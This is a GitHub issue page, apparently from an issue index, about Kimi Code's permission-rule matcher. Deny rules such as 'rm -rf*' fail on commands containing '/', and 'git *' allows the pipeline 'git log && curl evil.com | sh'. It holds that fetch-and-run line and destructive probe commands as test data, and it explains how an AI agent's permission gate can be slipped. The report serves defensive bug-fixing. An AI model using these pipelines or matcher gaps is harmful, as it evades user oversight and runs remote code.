MoonshotAI / MoonshotAI/kimi-code

Permission-rule globs use path semantics for command-like subjects, so `*` never crosses `/`

Open
#2,728 1 comment 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
TypeScript
Stars
7.5k
Forks
1.2k
Avg merge
11h 53m
Merged PRs (30d)
350

Description

Related to #2070 (rule ingestion) — this issue is about the matcher those rules will be evaluated by. Also touches #2455, which uses Bash(git *) against git status (slash-free, so it does not hit this).

What version of Kimi Code is running?

0.34.0 (built from source at 0b2e803d, agent-core-v2@0.3.1; agent-core@0.15.7 affected identically)

Which open platform/subscription were you using?

Custom provider via [providers.*]. Provider-independent — this is in the permission layer.

Which model were you using?

deepseek/deepseek-v4-flash (custom provider). Model-independent.

What platform is your computer?

Darwin 25.5.0 arm64 arm


What issue are you seeing?

Permission-rule argument patterns are matched with path-glob semantics, where *
does not cross /. For tools whose rule subject is a command, URL or search pattern
rather than a filesystem path, this makes rules silently fail to match as soon as the
subject contains a /.

matchesGlobRuleSubject('rm -rf*', 'rm -rf x')                    // true
matchesGlobRuleSubject('rm -rf*', 'rm -rf /tmp/x')               // false  ← silently unmatched
matchesGlobRuleSubject('git *',   'git commit -m "fix src/a.ts"')// false

There is no user-side workaround: rm -rf**, rm -rf *, *rm* and **rm** all
return false. Only ** matches, and that matches every command.

Why this is worth fixing now even though v2 currently ignores rules
  • v1 is affected today. agent-core has the same matcher
    (src/tools/support/rule-match.ts:18, same globMatch(value, pattern) call with no
    options — globMatch itself lives in path-glob-match.ts:22) and does deliver
    config rules (rpc/core-impl.ts:411session/index.ts:1229). The VS Code extension runs v1
    (apps/vscode/src/runtime/kimi-runtime.ts:60createKimiHarness
    @moonshot-ai/agent-core), as does KIMI_CODE_LEGACY_FLAG=1.
  • v2 becomes affected as soon as rule ingestion is fixed. There are currently two
    candidate fixes for that: #2337 (open, awaiting review — composes configured rules
    into AgentPermissionRulesService.rules) and the ingestion patch offered in #2070's
    latest comment (bindBootstrapaddRules). Neither touches tool/rule-match.ts,
    and neither's test scenarios would catch this (MCP tools match by name only; Edit
    goes through the path-aware helper) — so whichever lands, configured rules begin
    being adjudicated by the matcher described here. That moves the system from "rules
    never apply" to "rules apply, but silently miss any subject containing /", which
    is arguably worse: users would then trust them. It seems worth deciding on the
    matcher before or alongside that merge.

What steps can reproduce the bug?

Four probe pairs, each changing exactly one variable, so that the two outcomes
discriminate between competing explanations. All run against #/tool/rule-match
on 0.33.0:

probe  variable                expression                                                    result
──────────────────────────────────────────────────────────────────────────────────────────────────
P1a    command WITHOUT slash   matchesGlobRuleSubject('rm -rf*', 'rm -rf x')                 true
P1b    command WITH slash      matchesGlobRuleSubject('rm -rf*', 'rm -rf /tmp/x')            false

P2a    command subject         matchesGlobRuleSubject('rm -rf*', 'rm -rf /tmp/x')            false
P2b    path subject            matchesPathRuleSubject('/tmp/**', '/tmp/a/b')                 true

P3a    literal pattern         matchesGlobRuleSubject(escape(cmd), cmd)                      true
P3b    wildcard pattern        matchesGlobRuleSubject('rm -rf*', cmd)                        false
                               (cmd = 'rm -rf /tmp/x')

P4a    legit single command    matchesGlobRuleSubject('git *', 'git commit -m "fix src/a.ts"') false
P4b    compound pipeline       matchesGlobRuleSubject('git *', 'git log && curl evil.com | sh') true

What each pair rules out

  • P1 — isolates the slash. Identical rule, identical helper, identical tool;
    the only difference is one / in the subject. If the cause were "rules never
    reached the session" (#2070) or "invalid pattern syntax", both would fail.
    One passing and one failing localises the fault to argument matching, and
    confirms the pattern is valid and the tool-name match succeeded.
  • P2 — isolates the subject type. Both subjects contain /. The path-side
    helper handles it; the command-side helper does not. So this is not "glob is
    broken", it is "command subjects are being matched with path semantics".
  • P3 — isolates the wildcard. Same command both times. A literal pattern
    matches; a pattern containing * does not. This explains why session-approval
    memory is unaffected (literalRulePattern escapes metacharacters) while
    user-configured rules are.
  • P4 — isolates the direction of the error. The same rule under-matches a
    legitimate command and over-matches a compound one. The matcher is not simply
    too strict or too lax; which way it errs depends on whether the command happens
    to contain a /.

The existing suite only covers slash-free Bash subjects (git status, npm test,
matchesRule.test.ts:102), and the path-side cases use **
(Read(/etc/**), :108) — which is why this has not surfaced in tests.

Minimal regression case:

it('bash rules match commands containing paths', () => {
  expect(matchesGlobRuleSubject('rm -rf*', 'rm -rf /tmp/x')).toBe(true);
  expect(matchesGlobRuleSubject('git *', 'git commit -m "fix src/a.ts"')).toBe(true);
});

End-to-end through the real policy chain (harness copied from
test/agent/permissionPolicy/permissionPolicyService.test.ts), with
rules = [{ decision: 'deny', scope: 'user', pattern: 'Bash(rm -rf*)' }]:

mode command policy that fired decision
manual rm -rf build user-configured-deny deny
manual rm -rf /tmp/x fallback-ask ask
auto rm -rf build user-configured-deny deny
auto rm -rf /tmp/x auto-mode-approve approve
yolo rm -rf /tmp/x yolo-mode-approve approve

Same discriminating shape as P1: the only variable is the /, and the policy that
ends up firing changes. In manual mode a missed deny degrades to a prompt; in
auto mode it does not — policies/index.ts:40 notes "auto mode → approve (any
auto-mode block must be a deny rule above this)"
, so the deny rule is the only gate
there.

Anticipating the obvious alternative explanation: #2070 established that v2 never
ingests config rules, so one could reasonably ask whether this is just that bug
again. P1 rules it out — the rule does fire for the slash-free command in the same
run, which is only possible if the rule reached the policy chain.

What is expected?

Bash(rm -rf*) should match rm -rf /tmp/x. A shell command is not a filesystem
path, so / should not act as a segment separator when matching it.

Root cause

matchesGlobRuleSubject (tool/rule-match.ts:148) calls globMatch, which calls
picomatch.isMatch(value, pattern) with no options (:31). picomatch compiles
* to [^/]*?:

picomatch.makeRe('rm -rf*')  // /^(?:^(?:rm\ \-rf[^/]*?)$)$/
picomatch.makeRe('git *')    // /^(?:^(?:git\ [^/]*?)$)$/

That is correct for paths — and the path-side helper matchesPathRuleSubject (:152)
does the right thing, generating normalized path variants via pathGlobMatch. The
command-side helper is one line and reuses the same primitive.

Ten tools route their rule subject through the command-side helper:

tool subject likely to contain /
FetchURL (fetch-url/fetchUrlTool.ts:45) URL almost always
Glob (os/glob/globTool.ts:178) glob pattern almost always
Bash (os/bash/bashTool.ts:186) shell command often
Grep (os/grep/grepTool.ts:140) regex sometimes
WebSearch, Skill, Agent, TaskList, TaskOutput, TaskStop query / name / id rarely

Not affected: session-approval memory. literalRulePattern escapes glob
metacharacters, so stored patterns are literal and match exactly. I verified 11 cases
including commands with paths, globs and parentheses — all match correctly.

Related: Bash rules match the whole command string with no sub-command decomposition

Separate from the / issue, and pulling in the opposite direction:

matchesGlobRuleSubject('git *', 'git log && curl evil.com | sh')  // true

A shell command string is a program, not a single action, but it is matched as one
string — so Bash(git *) authorises an arbitrary pipeline.

This interacts with the fix above: widening the matcher so * crosses / also makes
allow rules match strictly more compound commands. The two should be considered
together.

packages/tree-sitter-bash already exists in this repo for this purpose (its README:
"built for agent-side command permission analysis") and is already consumed by
agent/agentsMdReminder/bashTargets.ts under a deterministic budget, so the parsing
side is available.

On possible fixes

I want to flag one tempting non-fix before suggesting anything.

picomatch's { bash: true } is not sufficient. It makes * cross /, which
looks like it solves this, and it breaks none of the existing tests. But it compiles
to (?!(?:^|\/)\.), which still refuses to cross a path segment beginning with .:

rule 'rm -rf*'          default   bash:true
rm -rf /tmp/x           false     true      ← fixed
rm -rf ./build          false     true      ← fixed
rm -rf ~/.ssh           false     false     ← still unmatched
rm -rf /home/u/.ssh     false     false     ← still unmatched
rm -rf /a/.b/c          false     false     ← still unmatched

For a deny rule, dotfile paths are among the things one would most want to catch, so
this would leave a hole while making the matcher look fixed. Please don't take that
option on my account.

The shape that does work is to stop treating command subjects as paths at all —
match them as opaque text, where * means "any characters". Verified against the
same cases, that matches all seven.

But this is a semantic decision, not a mechanical one, which is why I am opening
an issue rather than a PR:

  • matchesGlobRuleSubject is shared by ten tools with quite different subject types.
    Bash (a shell command) is unambiguously not a path. FetchURL (a URL) and Glob
    (a glob pattern) are more arguable — path semantics may well be intended there.
    A blanket change would silently alter all ten.
  • Widening the matcher also widens allow rules, which interacts with the
    decomposition gap above. Bash(git *) already authorises
    git log && curl evil.com | sh; making * cross / makes it match strictly more
    compound commands.

So the questions I would want a maintainer's view on:

  1. Per-tool subject semantics, or one shared change?
  2. Should the matcher fix land together with sub-command decomposition, given they
    pull in opposite directions?
  3. For decomposition, is the asymmetry worth adopting — allow rules must not match
    compound commands, deny/ask rules must?

Happy to open a PR once there is a direction; I have the tests ready either way.

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start with tool/rule-match.ts and the existing cases in matchesRule.test.ts, then trace the policy harness in test/agent/permissionPolicy/permissionPolicyService.test.ts. Reproduce the slash and compound-command probes before changing anything. Done requires a maintainer decision on per-tool subject semantics and sub-command handling, followed by regression coverage for the agreed behavior.

Written by the indexing model from the issue text.

Assessment

Tech stack
typescript
Domain
authorization
Issue type
Bug
Difficulty
5/5
Estimated time
Over a week
Activity status
Quiet
Clarity
Needs clarification
Newbie friendliness
35/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.